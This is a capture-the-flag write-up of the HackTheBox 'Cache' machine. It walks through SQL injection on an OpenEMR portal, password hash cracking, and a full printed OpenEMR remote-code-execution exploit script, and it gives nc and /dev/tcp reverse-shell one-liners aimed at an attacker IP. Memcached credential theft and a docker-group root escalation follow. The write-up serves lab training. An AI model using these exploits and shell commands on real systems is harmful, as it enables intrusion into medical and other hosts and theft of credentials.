Categories

  • All
  • HackTheBox

Tags

  • HackTheBox

Cache

Cache

Nmap Scan

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCb3lyySrN6q6RWe0mdRQOvx8TgDiFAVhicR1h3UlBANr7ElILe7ex89jpzZSkhrYgCF7iArq7PFSX+VY52jRupsYJp7V2XLY9TZOq6F7u6eqsRA60UVeqkh+WnTE1D1GtQSDM2693/1AAFcEMhcwp/Z7nscp+PY1npxEEP6HoCHnf4h4p8RccQuk4AdUDWZo7WlT4fpW1oJCDbt+AOU5ylGUW56n4uSUG8YQVP5WqSspr6IY/GssEw3pGvRLnoJfHjARoT93Fr0u+eSs8zWhpHRWkTEWGhWIt9pPI/pAx2eAeeS0L5knZrHppoOjhR/Io+m0i1kF1MthV+qYjDjscf
|   256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFAHWTqc7a2Az0RjFRBeGhfQkpQrBmEcMntikVFn2frnNPZklPdV7RCy2VW7Ae+LnyJU4Nq2LYqp2zfps+BZ3H4=
|   256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMnbsx7/pCTUKU7WwHrL/d0YS9c99tRraIPvg5zrRpiF
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Cache

Website Enumeration

First, we’ll add the following line to our /etc/hosts file:

10.10.10.188	cache.htb

Simple enumeration of the website leads us to a login page. Logging in with the credentials test:test gives us a “Username does not match” and “Password does not match” popup window. Oddly enough, hitting Ctrl+F5 to clear our browser cache logs us in properly. Catching the request with Burp shows us that the credentials aren’t even being sent.

We can fuzz the website with our favorite fuzzer, and see that the folder /jquery exists. Not only does it exist, but it lists its directory contents. One file exists in this folder, and visiting it at the following link gives us some credentials:

http://cache.htb/jquery/functionality.js

ash:H@v3_fun

These credentials work for the login portal, but still lead us to the “This is under construction page”.

Looking at the author.php page, we see that the author is responsible for a HMS (Hospital Management System) as well. We can infer that he may be running this system on the same host, so we’ll add hms.htb to our /etc/hosts file.

Visiting http://hms.htb brings us to an OpenEMR web portal. The credentials don’t work here, but we can do a little research to find out what this portal may be vulnerable to. Light research shows us that this portal has a MASSIVE number of vulnerabilities, so we’ll start by narrowing down the potential exploits by finding the version.

We can do this by visiting http://hms.htb/setup.php and seeing that the version is 5.0.1. From here, we can view the vulnerability report for this version that OpenEMR released:

https://www.open-emr.org/wiki/images/1/11/Openemr_insecurity.pdf

Two interesting things jump out at us. We can use some of the portal functions through forced browsing after registering a user (without logging in) as valid cookies are set, and the portal doesn’t properly check these cookies to see if the user is logged in. Even better, a couple of these functions have SQLi vulnerabilities.

Cracking the HMS Portal

We’ll start by creating a new user by visiting http://hms.htb/portal/account/register.php. Once we’ve hit the last page, we’ll try one of the vulnerable functions by visiting http://hms.htb/portal/add_edit_event_user.php?eid=1, catching the request, and running it through SQLMap. We’ll need to be quick, as these cookies don’t last long.

Save request as request.txt

sqlmap -r request.txt --current-db

[11:26:59] [INFO] the back-end DBMS is MySQL                                                                                                                                                                                               
back-end DBMS: MySQL >= 5.0                                                                                                                                                                                                                
[11:26:59] [INFO] fetching current database                                                                                                                                                                                                
current database: 'openemr'                                                                                                                                                                                                                
[11:26:59] [INFO] fetched data logged to text files under '/home/skirmish/.sqlmap/output/hms.htb'                                                                                                                                            
[11:26:59] [WARNING] you haven't updated sqlmap for more than 100 days!!! 

This injection point works! We can now see what tables exist:

sqlmap -r request.txt -D openemr --tables

...
[11:27:19] [INFO] retrieved: 'user_settings'                                                                         
[11:27:19] [INFO] retrieved: 'users'                                                                                                                                                                                                       
[11:27:19] [INFO] retrieved: 'users_facility'                                                                        
[11:27:19] [INFO] retrieved: 'users_secure'
...

Looking at the users tables gives us plaintext passwords, but they’re invalid. However, dumping users_secure gives us a hash:

sqlmap -r request.txt -D openemr -T users-secure --dump

+----+--------------------------------+--------------------------------------------------------------+---------------+---------------------+---------------+---------------+-------------------+-------------------+                       
| id | salt                           | password                                                     | username      | last_update         | salt_history1 | salt_history2 | password_history1 | password_history2 |                       
+----+--------------------------------+--------------------------------------------------------------+---------------+---------------------+---------------+---------------+-------------------+-------------------+                       
| 1  | $2a$05$l2sTLIG6GTBeyBf7TAKL6A$ | $2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. | openemr_admin | 2019-11-21 06:38:40 | NULL          | NULL          | NULL              | NULL              |                       
+----+--------------------------------+--------------------------------------------------------------+---------------+---------------------+---------------+---------------+-------------------+-------------------+

This is a blowfish hash, that we can crack with Hashcat:

hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt

...
$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.:xxxxxx
...

Trying these credentials on the main page of the OpenEMR website grants us access!

openemr_admin:xxxxxx

Getting a Shell

Once we’ve logged in, we can use a RCE exploit (since we’re an admin user), but we’ll have to modify it a bit first:

https://www.exploit-db.com/exploits/45161

We need to visit http://hms.htb/interface/super/edit_globals.php, hit “Save” and catch the request with Burp (or ZAP). We’ll now go into the exploit, remove form_284 from our request, and replace the old payload with our new one, so we don’t overwrite any settings and mess up the box for other users. Once we’ve done this, we can run the exploit!

Fixed exploit:

# Title: OpenEMR < 5.0.1 - Remote Code Execution
# Author: Cody Zacharias
# Date: 2018-08-07
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz
# Dockerfile: https://github.com/haccer/exploits/blob/master/OpenEMR-RCE/Dockerfile 
# Version: < 5.0.1 (Patch 4)
# Tested on: Ubuntu LAMP, OpenEMR Version 5.0.1.3
# References:
# https://www.youtube.com/watch?v=DJSQ8Pk_7hc
'''
WARNING: This proof-of-concept exploit WILL replace the GLOBAL config.
If you don't want the OpenEMR config to be reset to default, please modify
the payload.

Example Usage: 
- python openemr_rce.py http://127.0.0.1/openemr-5_0_1_3 -u admin -p admin -c 'bash -i >& /dev/tcp/127.0.0.1/1337 0>&1'
'''

#!/usr/bin/env python

import argparse
import base64
import requests
import sys

ap = argparse.ArgumentParser(description="OpenEMR RCE")
ap.add_argument("host", help="Path to OpenEMR (Example: http://127.0.0.1/openemr).")
ap.add_argument("-u", "--user", help="Admin username")
ap.add_argument("-p", "--password", help="Admin password")
ap.add_argument("-c", "--cmd", help="Command to run.")
args = ap.parse_args()

ascii = "> .---.  ,---.  ,---.  .-. .-.,---.          ,---.    <\r\n"
ascii+= ">/ .-. ) | .-.\ | .-'  |  \| || .-'  |\    /|| .-.\   <\r\n"
ascii+= ">| | |(_)| |-' )| `-.  |   | || `-.  |(\  / || `-'/   <\r\n"
ascii+= ">| | | | | |--' | .-'  | |\  || .-'  (_)\/  ||   (    <\r\n"
ascii+= ">\ `-' / | |    |  `--.| | |)||  `--.| \  / || |\ \   <\r\n"
ascii+= "> )---'  /(     /( __.'/(  (_)/( __.'| |\/| ||_| \)\  <\r\n"
ascii+= ">(_)    (__)   (__)   (__)   (__)    '-'  '-'    (__) <\r\n"
ascii+= "                                                       \r\n"
ascii+= "   ={>   P R O J E C T    I N S E C U R I T Y   <}=    \r\n"
ascii+= "                                                       \r\n"
ascii+= "         Twitter : >@Insecurity<                       \r\n"
ascii+= "         Site    : >insecurity.sh<                     \r\n"

green = "\033[1;32m"
red = "\033[1;31m"
clear = "\033[0m"

load = "[>$<] ".replace(">", green).replace("<", clear)
err = "[>-<] ".replace(">", red).replace("<", clear)
intro = ascii.replace(">", green).replace("<", clear)

print(intro)

with requests.session() as s:
    login = {"new_login_session_management": "1",
            "authProvider": "Default",
            "authUser": args.user,
            "clearPass": args.password,
            "languageChoice": "1"
            }
    
    print(load + "Authenticating with " + args.user + ":" + args.password)
    r = s.post(args.host + "/interface/main/main_screen.php?auth=login&site=default", data=login)
    if "login_screen.php?error=1&site=" in r.text:
        print(err + "Failed to Login.")
        sys.exit(0)

    # This will rewrite and replace your current GLOBALS, please modify this if you don't want that.
    payload = "form_save=Save&srch_desc=&form_0=main_info.php&form_1=..%2F..%2Finterface%2Fmain%2Fmessages%2Fmessages.php%3Fform_active%3D1&form_2=1&form_3=tabs_style_full.css&form_4=style_light.css&form_5=__default__&form_6=__default__&form_7=1&form_8=0&form_9=175&form_10=OpenEMR&form_12=1&form_13=0&form_14=0&form_16=1&form_21=1&form_22=1&form_23=1&form_24=1&form_25=http%253A%252F%252Fopen-emr.org%252F&form_26=&form_27=20&form_28=10&form_30=0&form_31=5&form_32=0&form_37=English+%28Standard%29&form_42=1&form_43=1&form_44=1&form_45=1&form_46=1&form_47=1&form_48=1&form_49=1&form_50=1&form_51=0&form_52=0&form_53=&form_54=2&form_55=.&form_56=%2C&form_57=%2524&form_58=0&form_59=3&form_60=6%2C0&form_61=0&form_62=0&form_63=_blank&form_69=1&form_70=1&form_77=1&form_79=&form_80=&form_81=&form_84=1&form_85=1&form_87=1&form_89=1&form_90=1&form_91=1&form_92=Y1&form_93=1&form_94=2&form_95=0&form_97=14&form_98=11&form_99=24&form_100=20&form_102=1&form_103=0&form_104=0&form_105=ICD10&form_106=1&form_107=1&form_112=3&form_115=1&form_116=&form_119=1.00&form_121=0&form_123=&form_125=30&form_126=&form_127=60&form_128=&form_129=90&form_130=&form_131=120&form_132=&form_133=150&form_134=&form_135=1&form_138=1&form_139=1&form_141=1&form_142=0&form_143=localhost&form_144=&form_145=&form_146=5984&form_147=&form_150=Patient%2BID%2Bcard&form_151=Patient%2BPhotograph&form_152=Lab%2BReport&form_153=Lab%2BReport&form_155=100&form_157=8&form_158=17&form_159=15&form_160=day&form_161=1&form_162=2&form_163=1&form_164=10&form_165=10&form_166=15&form_167=20&form_168=1&form_169=%23FFFFFF&form_170=%23FFFFFF&form_171=%23FFFFFF&form_172=%23FFFFFF&form_173=1&form_174=0&form_176=1&form_177=1&form_178=1&form_181=1&form_182=1&form_183=1&form_184=1&form_185=D0&form_186=D0&form_187=0&form_188=0&form_190=33&form_191=0&form_194=7200&form_198=1&form_199=0&form_200=0&form_202=&form_203=&form_204=365&form_205=&form_206=1&form_208=&form_210=&form_211=&form_212=&form_213=&form_214=&form_215=&form_216=SMTP&form_217=localhost&form_218=25&form_219=&form_220=&form_221=&form_222=50&form_223=50&form_224=&form_225=&form_226=&form_227=50&form_228=&form_229=&form_230=&form_231=1&form_232=1&form_233=1&form_234=1&form_235=1&form_236=1&form_237=1&form_238=1&form_239=Model%2BRegistry&form_240=125789123&form_241=1&form_242=1&form_243=1&form_244=&form_245=&form_246=1&form_247=1&form_248=1&form_249=5&form_250=1&form_252=1&form_253=1&form_254=1&form_255=1&form_256=1&form_257=1&form_258=1&form_262=&form_263=6514&form_264=&form_265=&form_267=1&form_268=0&form_269=%252Fusr%252Fbin&form_270=%252Fusr%252Fbin&form_271=%252Ftmp&form_272=%252Ftmp&form_273=26&form_274=state&form_275=1&form_276=26&form_277=country&form_278=lpr%2B-P%2BHPLaserjet6P%2B-o%2Bcpi%253D10%2B-o%2Blpi%253D6%2B-o%2Bpage-left%253D72%2B-o%2Bpage-top%253D72&form_279=&form_280=&form_282=2018-07-23&form_283=1&form_285=%252Fvar%252Fspool%252Fhylafax&form_286=enscript%2B-M%2BLetter%2B-B%2B-e%255E%2B--margins%253D36%253A36%253A36%253A36&form_288=%252Fmnt%252Fscan_docs&form_289=1&form_290=https%253A%252F%252Fyour_web_site.com%252Fopenemr%252Fportal&form_291=1&form_292=1&form_296=https%253A%252F%252Fyour_web_site.com%252Fopenemr%252Fpatients&form_297=1&form_299=&form_300=&form_301=&form_302=https%253A%252F%252Fssh.mydocsportal.com%252Fprovider.php&form_303=https%253A%252F%252Fssh.mydocsportal.com&form_305=https%253A%252F%252Fyour_cms_site.com%252F&form_306=&form_307=&form_308=0&form_309=https%253A%252F%252Fhapi.fhir.org%252FbaseDstu3%252F&form_312=https%253A%252F%252Fsecure.newcropaccounts.com%252FInterfaceV7%252FRxEntry.aspx&form_313=https%253A%252F%252Fsecure.newcropaccounts.com%252Fv7%252FWebServices%252FUpdate1.asmx%253FWSDL%253Bhttps%253A%252F%252Fsecure.newcropaccounts.com%252Fv7%252FWebServices%252FPatient.asmx%253FWSDL&form_314=21600&form_315=21600&form_316=&form_317=&form_318=&form_319=1&form_324=&form_325=0&form_327=137&form_328=7C84773D5063B20BC9E41636A091C6F17E9C1E34&form_329=C36275&form_330=0&form_332=https%253A%252F%252Fphimail.example.com%253A32541&form_333=&form_334=&form_335=admin&form_336=5&form_339=1&form_346=LETTER&form_347=30&form_348=30&form_349=72&form_350=30&form_351=P&form_352=en&form_353=LETTER&form_354=5&form_355=5&form_356=5&form_357=8&form_358=D&form_359=1&form_360=9&form_361=1&form_362=104.775&form_363=241.3&form_364=14&form_365=65&form_366=220"
    p = {}
    for c in payload.replace("&", "\n").splitlines():
        a = c.split("=")
        p.update({a[0]: a[1]})
   
    # Linux only, but can be easily modified for Windows.
    _cmd = "|| echo " + base64.b64encode(args.cmd) + "|base64 -d|bash"
    p.update({"form_284": _cmd})
    
    print(load + "Injecting payload")
    s.post(args.host + "/interface/super/edit_globals.php", data=p)
    sp = s.get(args.host + "/interface/main/daemon_frame.php") # M4tt D4em0n w0z h3r3 ;PpPpp
    if sp.status_code == 200:
        print(load + "Payload executed")

We can use a bash/nc reverse shell payload:

python exploit.py -u openemr_admin -p xxxxxx -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc xx.xx.xx.xx 4444 >/tmp/f' http://hms.htb

Now, we just need to catch it:

nc -nlvp 4444

www-data@cache:

Let’s upgrade our shell a bit, so we don’t accidentally exit out of it:

python3 -c 'import pty;pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo
fg
(hit enter twice)

www-data to user 2

Looking in the home folder, we can see that ash exists, so we’ll try to su to ash with his password from the original website:

su ash
Password: H@v3_fun

ash@cache:~$ whoami
ash

Pivoting to user 2

If we check in the /home directory, another user named Luffy exists. Looking at the ports listening with netstat antup, we see something interesting:

Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:11211         0.0.0.0:*               LISTEN      -                   
tcp        0      0 10.10.10.188:40822      10.10.14.17:22          TIME_WAIT   -                   
tcp        0      0 127.0.0.1:52478         127.0.0.1:11211         TIME_WAIT   -                   
tcp        0      0 127.0.0.1:52498         127.0.0.1:11211         TIME_WAIT   -                   
tcp        0      1 10.10.10.188:34744      8.8.4.4:53              SYN_SENT    -                   
tcp        0      0 10.10.10.188:36870      10.10.14.17:4444        ESTABLISHED -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 10.10.10.188:80         10.10.14.17:54418       ESTABLISHED -                   
udp        0      0 127.0.0.1:59887         127.0.0.53:53           ESTABLISHED -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -      

Port 11211 is listening, which is memcache. Based on the name of the box, there’s probably something juicy in there! We’ll connect to it with nc:

nc -nv 127.0.0.1 11211

stats items

stats items
STAT items:1:number 5
STAT items:1:number_hot 0
STAT items:1:number_warm 0
STAT items:1:number_cold 5
STAT items:1:age_hot 0
STAT items:1:age_warm 0
STAT items:1:age 18
STAT items:1:evicted 0
STAT items:1:evicted_nonzero 0
STAT items:1:evicted_time 0
STAT items:1:outofmemory 0
STAT items:1:tailrepairs 0
STAT items:1:reclaimed 0
STAT items:1:expired_unfetched 0
STAT items:1:evicted_unfetched 0
STAT items:1:evicted_active 0
STAT items:1:crawler_reclaimed 0
STAT items:1:crawler_items_checked 48
STAT items:1:lrutail_reflocked 0
STAT items:1:moves_to_cold 415
STAT items:1:moves_to_warm 0
STAT items:1:moves_within_lru 0
STAT items:1:direct_reclaims 0
STAT items:1:hits_to_hot 0
STAT items:1:hits_to_warm 0
STAT items:1:hits_to_cold 2
STAT items:1:hits_to_temp 0
END

We can see that there’s only 1 item, so we’ll go ahead and dump it:

stats cachedump 1 0
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
END

Let’s see what that user and password is!

get user
VALUE user 0 5
luffy
END
get passwd
VALUE passwd 0 9
0n3_p1ec3
END

Nice, let’s see if they work:

su luffy
Password: 0n3_p1ec3

luffy@cache:

We have the second user!

Rooting the Box

If we look at luffy’s groups, we can see he’s in the docker group. This makes for a very easy privesc!

groups

luffy@cache:/home$ groups
luffy docker

We can see what docker images exist:

docker image list

REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
ubuntu              latest              2ca708c1c9cc        7 months ago        64.2MB

Now, we can just run the commands listed for docker on GTFOBins:

docker run -v /:/mnt --rm -it ubuntu chroot /mnt sh

# whoami
root

Voila, root!